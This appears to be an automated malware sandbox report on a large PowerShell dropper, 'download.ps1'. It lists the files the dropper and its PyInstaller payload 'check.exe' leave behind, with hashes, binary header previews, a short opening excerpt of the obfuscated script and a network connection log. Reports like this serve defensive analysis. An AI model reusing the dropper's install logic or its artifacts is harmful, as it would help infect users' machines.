SHA1:	16D5CBC5F289AD90AEAA4FF7CB828627AC6D4ACF
SHA-256:	002697227449B6D69026D149CFB220AC85D83B13056C8AA6B9DAC3FD3B76CAA4
SHA-512:	7C9D09CF9503F73E6F03D30E54DBB50606A86D09B37302DD72238880C000AE2B64C99027106BA340753691D67EC77B3C6E5004504269508F566BDB5E13615F1E
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k............r_...........r................................................3..........Rich....................PE..d....$.g.........." ...).....................................................p............`..........................................'..p...`(..d....P.......@...............`..,...`#.............................. "..@............ ...............................text............................... ..`.rdata....... ......................@..@.data........0......."..............@....pdata.......@.......$..............@..@.rsrc........P.......&..............@..@.reloc..,....`.......(..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77842\charset_normalizer\md__mypyc.cp313-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	124928
Entropy (8bit):	5.953784637413928
Encrypted:	false
SSDEEP:	3072:JDE+0ov6ojgN3qN8h51Zlh+YW5E38vCsmLS:JdefPZE2ICDLS
MD5:	10116447F9276F10664BA85A5614BA3A
SHA1:	EFD761A3E6D14E897D37AFB0C7317C797F7AE1D6
SHA-256:	C393098E7803ABF08EE8F7381AD7B0F8FAFFBF66319C05D72823308E898F8CFC
SHA-512:	C04461E52B7FE92D108CBDEB879B7A8553DD552D79C88DFA3F5D0036EED8D4B8C839C0BF2563BC0C796F8280ED2828CA84747CB781D2F26B44214FCA2091EAE4
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........y.....................7...............7.......7.......7.......6..........D....6.......6.......6.......6......Rich............................PE..d....$.g.........." ...).@...........C.......................................0............`.........................................0...d.................................... ......................................P...@............P...............................text....?.......@.................. ..`.rdata..nY...P...Z...D..............@..@.data....=.......0..................@....pdata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77842\libcrypto-3.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5232408
Entropy (8bit):	5.940072183736028
Encrypted:	false
SSDEEP:	98304:/V+Qs2NuR5YV0L8PQ1CPwDvt3uFlDC4SC9c:9rs2NuDYV0L841CPwDvt3uFlDC4SCa
MD5:	123AD0908C76CCBA4789C084F7A6B8D0
SHA1:	86DE58289C8200ED8C1FC51D5F00E38E32C1AAD5
SHA-256:	4E5D5D20D6D31E72AB341C81E97B89E514326C4C861B48638243BDF0918CFA43
SHA-512:	80FAE0533BA9A2F5FA7806E86F0DB8B6AAB32620DDE33B70A3596938B529F3822856DE75BDDB1B06721F8556EC139D784BC0BB9C8DA0D391DF2C20A80D33CB04
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........._~.._~.._~..V.S.M~.....]~.....[~.....W~.....S~.._~...~......T~..J....~..J...7}..J...^~..J.?.^~..J...^~..Rich_~..........................PE..d......f.........." ...(..7..<......v........................................0P.......O...`...........................................H.0.....O.@....@O.\|.... L. .....O../...PO.$...`{D.8............................yD.@.............O..............................text.....7.......7................. ..`.rdata........7.......7.............@..@.data...Ao....K..<....K.............@....pdata....... L.......K.............@..@.idata...%....O..&....N.............@..@.00cfg..u....0O.......N.............@..@.rsrc...\|....@O.......N.............@..@.reloc..~....PO.......N.............@..B................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77842\libffi-8.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	39696
Entropy (8bit):	6.641880464695502
Encrypted:	false
SSDEEP:	768:NiQfxQemQJNrPN+moyijAc5YiSyvkIPxWEqG:dfxIQvPkmoyijP7SytPxF
MD5:	0F8E4992CA92BAAF54CC0B43AACCCE21
SHA1:	C7300975DF267B1D6ADCBAC0AC93FD7B1AB49BD2
SHA-256:	EFF52743773EB550FCC6CE3EFC37C85724502233B6B002A35496D828BD7B280A
SHA-512:	6E1B223462DC124279BFCA74FD2C66FE18B368FFBCA540C84E82E0F5BCBEA0E10CC243975574FA95ACE437B9D8B03A446ED5EE0C9B1B094147CEFAF704DFE978
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........iV...8...8...8..p....8.t9...8.p9...8...9...8.t=...8.t<...8.t;...8.1t<...8.1t;...8.1t8...8.1t:...8.Rich..8.........................PE..d...Sh.c.........." ...".H...(.......L...............................................n....`......................................... l.......p..P...............P....l.../......,...@d...............................c..@............`.. ............................text....G.......H.................. ..`.rdata..h....`.......L..............@..@.data................b..............@....pdata..P............d..............@..@.reloc..,............j..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77842\libssl-3.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	792856
Entropy (8bit):	5.57949182561317
Encrypted:	false
SSDEEP:	12288:7LN1sdyIzHHZp5c3nlUa6lxzAG11rbmFe9Xbv:7LgfzH5I3nlUa2AU2Fe9Xbv
MD5:	4FF168AAA6A1D68E7957175C8513F3A2
SHA1:	782F886709FEBC8C7CEBCEC4D92C66C4D5DBCF57
SHA-256:	2E4D35B681A172D3298CAF7DC670451BE7A8BA27C26446EFC67470742497A950
SHA-512:	C372B759B8C7817F2CBB78ECCC5A42FA80BDD8D549965BD925A97C3EEBDCE0335FBFEC3995430064DEAD0F4DB68EBB0134EB686A0BE195630C49F84B468113E3
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l.>..\|m..\|m..\|m.u.m..\|m+.}l..\|m.u}l..\|m+..l..\|m+.xl..\|m+.yl..\|m..}l..\|m..}m..\|m..xl..\|m..\|l..\|m...m..\|m..~l..\|mRich..\|m................PE..d......f.........." ...(.>..........K........................................0......!+....`..........................................x...Q..............s.... ...M......./......d...p...8...............................@............................................text....<.......>.................. ..`.rdata..hz...P...\|...B..............@..@.data...qN.......H..................@....pdata..pV... ...X..................@..@.idata...c.......d...^..............@..@.00cfg..u...........................@..@.rsrc...s...........................@..@.reloc..C...........................@..B........................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77842\psutil\_psutil_windows.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	67072
Entropy (8bit):	5.909456553599775
Encrypted:	false
SSDEEP:	1536:j3sHmR02IvVxv7WCyKm7c5Th4JBHTOvyyaZE:jnIvryCyKx5Th4J5OvyyO
MD5:	49AC12A1F10AB93FAFAB064FD0523A63
SHA1:	3AD6923AB0FB5D3DD9D22ED077DB15B42C2FBD4F
SHA-256:	BA033B79E858DBFCBA6BF8FB5AFE10DEFD1CB03957DBBC68E8E62E4DE6DF492D
SHA-512:	1BC0F50E0BB0A9D9DDDAD31390E5C73B0D11C2B0A8C5462065D477E93FF21F7EDC7AA2B2B36E478BE0A797A38F43E3FBEB6AAABEF0BADEC1D8D16EB73DF67255
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......nT..5..5..5..#M2. 5..x@..(5..x@..&5..x@.."5..x@...5...k..(5..aM..;5..5...5...@..:5...@..+5...@^.+5...@..+5..Rich*5..................PE..d...._.g.........." .........h......\........................................@............`.........................................0...`.......@.... .......................0..(.......................................8............................................text...h........................... ..`.rdata..\I.......J..................@..@.data...x...........................@....pdata..............................@..@.rsrc........ ......................@..@.reloc..(....0......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77842\python3.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	70416
Entropy (8bit):	6.1258200129869405
Encrypted:	false
SSDEEP:	768:pQEotsskOv6pWVCB4p/uKlZPRQcFIc9qunV0Jku/YFI1Hu1wEBbCpVNyD6VdPxiD:/otssyKcunV8PjZIJy0i7SyWH1
MD5:	16855EBEF31C5B1EBE767F1C617645B3
SHA1:	315521F3A748ABFA35CD4D48E8DD09D0556D989B
SHA-256:	A5C6A329698490A035133433928D04368CE6285BB91A9D074FC285DE4C9A32A4
SHA-512:	C3957B3BD36B10C7AD6EA1FF3BC7BD65CDCEB3E6B4195A25D0649AA0DA179276CE170DA903D77B50A38FC3D5147A45BE32DBCFDBFBF76CC46301199C529ADEA4
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%?..a^e.a^e.a^e.).m.`^e.).e.`^e.)..`^e.).g.`^e.Richa^e.........PE..d......g.........." ...)............................................................z.....`.........................................`..................................../..............T............................................................................rdata..............................@..@.rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77842\python313.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6083856
Entropy (8bit):	6.126922729922386
Encrypted:	false
SSDEEP:	49152:fXGc3O7T4DKX+vLFMmKYxiAYNBD987KdJlI9HbeX2jrgQcw6Zc4h67mM+XDQ3bLi:Of42zJiwJl/YF7v3vaHDMiEN3Kr
MD5:	B9DE917B925DD246B709BB4233777EFD
SHA1:	775F258D8B530C6EA9F0DD3D1D0B61C1948C25D2
SHA-256:	0C0A66505093B6A4BB3475F716BD3D9552095776F6A124709C13B3F9552C7D99
SHA-512:	F4BF3398F50FDD3AB7E3F02C1F940B4C8B5650ED7AF16C626CCD1B934053BA73A35F96DA03B349C1EB614BB23E0BC6B5CC58B07B7553A5C93C6D23124F324A33
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........s]{v ]{v ]{v M.w!_{v M.. S{v M.u!Y{v M.r!U{v M.s!P{v T.. G{v ..w!V{v ]{w .zv ..{!.{v ..v!\{v ... \{v ..t!\{v Rich]{v ........................PE..d......g.........." ...).:+..T9......J........................................d.....uF]...`...........................................O.....h.P.......d......0].......\../....d..... A3.T.....................I.(....?3.@............P+..............................text....8+......:+................. ..`.rdata....%..P+...%..>+.............@..@.data...$9....P..N....P.............@....pdata.......0]...... U.............@..@PyRuntim.N...._..P....W.............@....rsrc.........d.......[.............@..@.reloc........d.......[.............@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77842\select.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	30992
Entropy (8bit):	6.554484610649281
Encrypted:	false
SSDEEP:	384:7hhxm9tKLhuoNHfzzlvFy0ZZIJ9GckHQIYiSy1pCQ4HWSJIVE8E9VF0Ny6sC:tCytHf98uZIJ9Gx5YiSyvy2ES
MD5:	20831703486869B470006941B4D996F2
SHA1:	28851DFD43706542CD3EF1B88B5E2749562DFEE0
SHA-256:	78E5994C29D8851F28B5B12D59D742D876683AEA58ECEEA1FB895B2036CDCDEB
SHA-512:	4AAF5D66D2B73F939B9A91E7EDDFEB2CE2476C625586EF227B312230414C064AA850B02A4028363AA4664408C9510594754530A6D026A0A84BE0168D677C1BC4
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........tV..'V..'V..'_.j'T..'F:.&T..'F:.&R..'F:.&^..'F:.&Z..'.;.&T..'V..'...'...&S..'.;.&W..'.;.&W..'.;.'W..'.;.&W..'RichV..'................PE..d.....g.........." ...).....2............................................................`..........................................@..L...<A..x....p.......`.......J.../......L....3..T............................2..@............0...............................text............................... ..`.rdata.......0......................@..@.data...p....P.......8..............@....pdata.......`.......:..............@..@.rsrc........p.......>..............@..@.reloc..L............H..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77842\unicodedata.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	709904
Entropy (8bit):	5.861739047785334
Encrypted:	false
SSDEEP:	12288:FYGdLI/X77mvfldCKGihH32W3cnPSqrUgLIe:FYGW7qNxr3cnPXLIe
MD5:	0902D299A2A487A7B0C2D75862B13640
SHA1:	04BCBD5A11861A03A0D323A8050A677C3A88BE13
SHA-256:	2693C7EE4FBA55DC548F641C0CB94485D0E18596FFEF16541BD43A5104C28B20
SHA-512:	8CBEF5A9F2D24DA1014F8F1CCBDDD997A084A0B04DD56BCB6AC38DDB636D05EF7E4EA7F67A085363AAD3F43D45413914E55BDEF14A662E80BE955E6DFC2FECA3
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........Q.............(.....(.....(.....(.....)................).....).....)x....)....Rich..................PE..d.....g.........." ...).B...f......P,..............................................<.....`.........................................P...X................................/..........p...T...........................0...@............`..h............................text....@.......B.................. ..`.rdata...?...`...@...F..............@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2msn31bu.bqw.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gagzjbkw.c3c.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mgmcv2mu.v1s.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yqwutoc1.4ay.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6220
Entropy (8bit):	3.721591207652428
Encrypted:	false
SSDEEP:	96:zycCg74wkvhkvCCtJvmJQoBHH+mJQohHHl:zy87XVmJKmJF
MD5:	BE64688C5FAE21C2C0A4E5DE1FC353B3
SHA1:	9E08A5F6590F72FAEA95874197574699A6454D9F
SHA-256:	6A890547B6BF8CCAE4D9F6C71EA6FE2EA605FAF65168FA055B90879CB8EF3099
SHA-512:	BEF7A123C8CE1C9453DA88404DEE9A9EE9B5F5D81476E376F5E672506FD0217DB504A2AD7FC39DD25B438179F411FD805A1D1BA2EA0924B402AF7E0B99B1F138
Malicious:	false
Reputation:	unknown
Preview:	...................................FL..................F.".. ....N.5q...9.C.J..z.:{.............................:..DG..Yr?.D..U..k0.&...&.........5q...~7.>.J.....C.J......t...CFSF..1.....EW)N..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW)N.YJ3...........................c..A.p.p.D.a.t.a...B.V.1......YG3..Roaming.@......EW)N.YG3..........................gh .R.o.a.m.i.n.g.....\.1.....EW.R..MICROS~1..D......EW)N.YE3..........................O~X.M.i.c.r.o.s.o.f.t.....V.1.....EW.S..Windows.@......EW)N.YE3...........................X..W.i.n.d.o.w.s.......1.....EW+N..STARTM~1..n......EW)N.YE3....................D......H..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EW#O..Programs..j......EW)N.YE3....................@.......\|.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW)NEW)N..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~2.LNK..^......EW)N.YK3................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\EG9IEZSAQBK7B3NTYTEK.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6220
Entropy (8bit):	3.721591207652428
Encrypted:	false
SSDEEP:	96:zycCg74wkvhkvCCtJvmJQoBHH+mJQohHHl:zy87XVmJKmJF
MD5:	BE64688C5FAE21C2C0A4E5DE1FC353B3
SHA1:	9E08A5F6590F72FAEA95874197574699A6454D9F
SHA-256:	6A890547B6BF8CCAE4D9F6C71EA6FE2EA605FAF65168FA055B90879CB8EF3099
SHA-512:	BEF7A123C8CE1C9453DA88404DEE9A9EE9B5F5D81476E376F5E672506FD0217DB504A2AD7FC39DD25B438179F411FD805A1D1BA2EA0924B402AF7E0B99B1F138
Malicious:	false
Reputation:	unknown
Preview:	...................................FL..................F.".. ....N.5q...9.C.J..z.:{.............................:..DG..Yr?.D..U..k0.&...&.........5q...~7.>.J.....C.J......t...CFSF..1.....EW)N..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW)N.YJ3...........................c..A.p.p.D.a.t.a...B.V.1......YG3..Roaming.@......EW)N.YG3..........................gh .R.o.a.m.i.n.g.....\.1.....EW.R..MICROS~1..D......EW)N.YE3..........................O~X.M.i.c.r.o.s.o.f.t.....V.1.....EW.S..Windows.@......EW)N.YE3...........................X..W.i.n.d.o.w.s.......1.....EW+N..STARTM~1..n......EW)N.YE3....................D......H..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EW#O..Programs..j......EW)N.YE3....................@.......\|.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW)NEW)N..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~2.LNK..^......EW)N.YK3................

C:\Users\user\AppData\Roaming\oZsKAKyZ.zip

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	38482788
Entropy (8bit):	7.998300327254539
Encrypted:	true
SSDEEP:	786432:h0oPeITxnoZEEWsfKFJYJKKlLjLR2pwegr4tMBcQ7Q5YLeJMjNRimCK:JPe0cEEW7FJBKFRywebGBnE5YiWCK
MD5:	F623F40F25736622A8634EE7276A937A
SHA1:	0AB3435AB11A5B1BF22A069C197869D23CBE60DD
SHA-256:	6711ECC1E4B117F721D037E9D67636F798B6A79F86DFE39976564E090263D556
SHA-512:	A50BEB4D5BFA729337DC015568850525FA82D5288BDC60534D142500C0D00239A2C5B4677C935D9FA9FF6BEF3A748E1B70AAD0E45C4F2A28E3FCE39CEE7143CD
Malicious:	false
Reputation:	unknown
Preview:	PK........}..Yp..%.2K.4IO.....check.exe.]{`.W...TJbB..5H5D..m4.../:!...4.j.j...V....c.`...]}IhU...,mQ-.."(Z...s...D..........;.{...d..os.l.:....l%6....._5.5h....w...w..0.......}`.G.9..{4..~...q......w?....;...K.e..m....:..7.r.......?/d..u.sh;~^.n....i....`\8.....}....\.N...d<.=.3....g...F..vk....I[k[}G.v....m...o...'N..n...t....-?.3q..}........(x..z.~Et.;mS.e\|.[._(.:......Q..u..R....(...')j..r...}\|...S......q.k..6...F...B....L[.<_s....(0[u.......ngm\i...V...!..&L...w............>...W.hR.........S..4...M.V......h....&\|..R..5v...7%U..`.m7..P.6ule.w..8.(.....'&.........F<..z:..../w..._3.jE=.[....&...Q.K..3B..)..v.ic...[..\|.:=SJ..B2..u...S(,}....n...i..E........uJ.s.....h...#ND..SG.h.:.Tv..'.}^g...w...?.g.&S..3..)..A..EB....#3.........^[n..e..o.~E...n.............NS.W.'<.8.bN%.p...\Q.&.WT.-,...Pwi.n#.....?A.?.Y..4...mw...).Nm...:,q.O....)(0..^...p.{.ko3s..9.S$.QH-x..J..*?.bt....s.M?6....f.'.........9.W2.A.:..:....IJ..&.[.2.SZ.?I.j.

C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	38750516
Entropy (8bit):	7.995838779111548
Encrypted:	true
SSDEEP:	786432:J+gX4BMdhwzTQXR5FbPp6FcSS5U/LT2KzVyPVLBdebXMb8VH/zEa:LXGMK4XR3bLSCU/+6yPl3ebcBa
MD5:	A243FE9D1CFB5BF4E5C21C6E4861E09C
SHA1:	41E893AE4232E1A36346DAA0238D77E6D8CCBF92
SHA-256:	49212837BA25C47F2E11E30A5DE4B52C07BB6F6972B339705FBC3502AF1EB880
SHA-512:	C4EECCBB08AD4389B51DAA2FBE54518331BB6003A028ED8F94169FAA8A26F32C92DD8FE5C0B3AED2BACAAB350704CCA1358D18851916DB009AA384C83D128B2D
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......n=..\.Z\.Z\.Za$.[-\.Za$.[.\.Za$.[ \.Z:..Z)\.Z:..[#\.Z:..[;\.Z:..[.\.Za$.[!\.Z\.Z.\.Zb..[3\.Zb..[+\.ZRich\.Z........PE..d...:.Tg.........."....).....\.................@......................................O...`.................................................\...x....p.......@..P"...........p..d...................................@...@............................................text............................... ..`.rdata..P.......,..................@..@.data....S..........................@....pdata..P"...@...$..................@..@.rsrc........p......................@..@.reloc..d....p......................@..B........................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.295997929119141
Encrypted:	false
SSDEEP:	6144:441fWRYkg7Di2vXoy00lWZgiWaaKxC44Q0NbuDs+1HmBMZJh1VjM:11/YCW2AoQ0NibHwMHrV4
MD5:	B6C23546C3FB4ECBDD14EE8CD56FE52D
SHA1:	54F27C386A3D93EB252A2A6045EF359746B97158
SHA-256:	24AB39389A46FF27BACC4CDFCDD79180312C8F5EF44309579555FE6A4A49CBEC
SHA-512:	325AB42CFCF9898A5920248F4E1031C5297BD8E0FE944CF17DEAD316AED0BB5A61361DFBA1D2CAED73A08D8A7B6F66B73114E009E628253F3636964315C32623
Malicious:	false
Reputation:	unknown
Preview:	regfG...G....\.Z.................... ....`......\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.!.].J...............................................................................................................................................................................................................................................................................................................................................a.i........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	ASCII text, with very long lines (65536), with no line terminators
Entropy (8bit):	5.999000627811854
TrID:
File name:	download.ps1
File size:	51'312'121 bytes
MD5:	e9b2e27454fc1326cdb24bfc3b55b236
SHA1:	3416a2cbba0a6c1e4e8f33f671dfea5e5aacc3f8
SHA256:	cafc0a8f8b2a71b91f6ce0768d1e27e385d14879bdd591d47adfb4e492fde5db
SHA512:	4d9ce79022c115abe84ecef579face333417a6850f74dc7203c50e5eca6241b3110bc0d4e49f0a1a52deeb622a1e84cac81501f1d69ef8fd523af520a8a6fbad
SSDEEP:	49152:9Wogvv1w5kfNWbRPyIRX2dABup05egQSticWMH9Zpq0/RW0klo40AGlS8GhohOyf:R
TLSH:	A2B733105F6A6EB90A7C8239B0BF6F1E1BB04FD0844DF5EA43E464C7165EF414A2B86D
File Content Preview:	${random_error_action_preference}="Stop";Set-Location $Env:AppData;${random_install_path}="$Env:AppData\tFqTwCHm";if(Test-Path ${random_install_path}){if(Test-Path "$Env:AppData\lqqeEasA.txt"){Remove-Item "$Env:AppData\lqqeEasA.txt"};Exit};$domain=(Get-Wm

File Icon


Icon Hash:	3270d6baae77db44

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 9, 2024 07:27:01.045527935 CET	49783	443	192.168.2.10	104.20.22.46
Dec 9, 2024 07:27:01.045574903 CET	443	49783	104.20.22.46	192.168.2.10
Dec 9, 2024 07:27:01.045733929 CET	49783	443	192.168.2.10	104.20.22.46
Dec 9, 2024 07:27:01.046855927 CET	49783	443	192.168.2.10	104.20.22.46
Dec 9, 2024 07:27:01.046864033 CET	443	49783	104.20.22.46	192.168.2.10
Dec 9, 2024 07:27:02.270478964 CET	443	49783	104.20.22.46	192.168.2.10
Dec 9, 2024 07:27:02.271135092 CET	49783	443	192.168.2.10	104.20.22.46
Dec 9, 2024 07:27:02.271159887 CET	443	49783	104.20.22.46	192.168.2.10
Dec 9, 2024 07:27:02.272298098 CET	443	49783	104.20.22.46	192.168.2.10
Dec 9, 2024 07:27:02.272358894 CET	49783	443	192.168.2.10	104.20.22.46
Dec 9, 2024 07:27:02.273842096 CET	49783	443	192.168.2.10	104.20.22.46
Dec 9, 2024 07:27:02.274015903 CET	443	49783	104.20.22.46	192.168.2.10
Dec 9, 2024 07:27:02.274070978 CET	49783	443	192.168.2.10	104.20.22.46
Dec 9, 2024 07:27:02.274130106 CET	49783	443	192.168.2.10	104.20.22.46
Dec 9, 2024 07:27:19.105400085 CET	49829	443	192.168.2.10	104.20.22.46
Dec 9, 2024 07:27:19.105443001 CET	443	49829	104.20.22.46	192.168.2.10
Dec 9, 2024 07:27:19.105518103 CET	49829	443	192.168.2.10	104.20.22.46
Dec 9, 2024 07:27:19.106758118 CET	49829	443	192.168.2.10	104.20.22.46
Dec 9, 2024 07:27:19.106775045 CET	443	49829	104.20.22.46	192.168.2.10
Dec 9, 2024 07:27:20.326354980 CET	443	49829	104.20.22.46	192.168.2.10
Dec 9, 2024 07:27:20.327043056 CET	49829	443	192.168.2.10	104.20.22.46
Dec 9, 2024 07:27:20.327069998 CET	443	49829	104.20.22.46	192.168.2.10
Dec 9, 2024 07:27:20.328222036 CET	443	49829	104.20.22.46	192.168.2.10
Dec 9, 2024 07:27:20.328280926 CET	49829	443	192.168.2.10	104.20.22.46
Dec 9, 2024 07:27:20.329585075 CET	49829	443	192.168.2.10	104.20.22.46
Dec 9, 2024 07:27:20.329775095 CET	443	49829	104.20.22.46	192.168.2.10
Dec 9, 2024 07:27:20.329828024 CET	49829	443	192.168.2.10	104.20.22.46
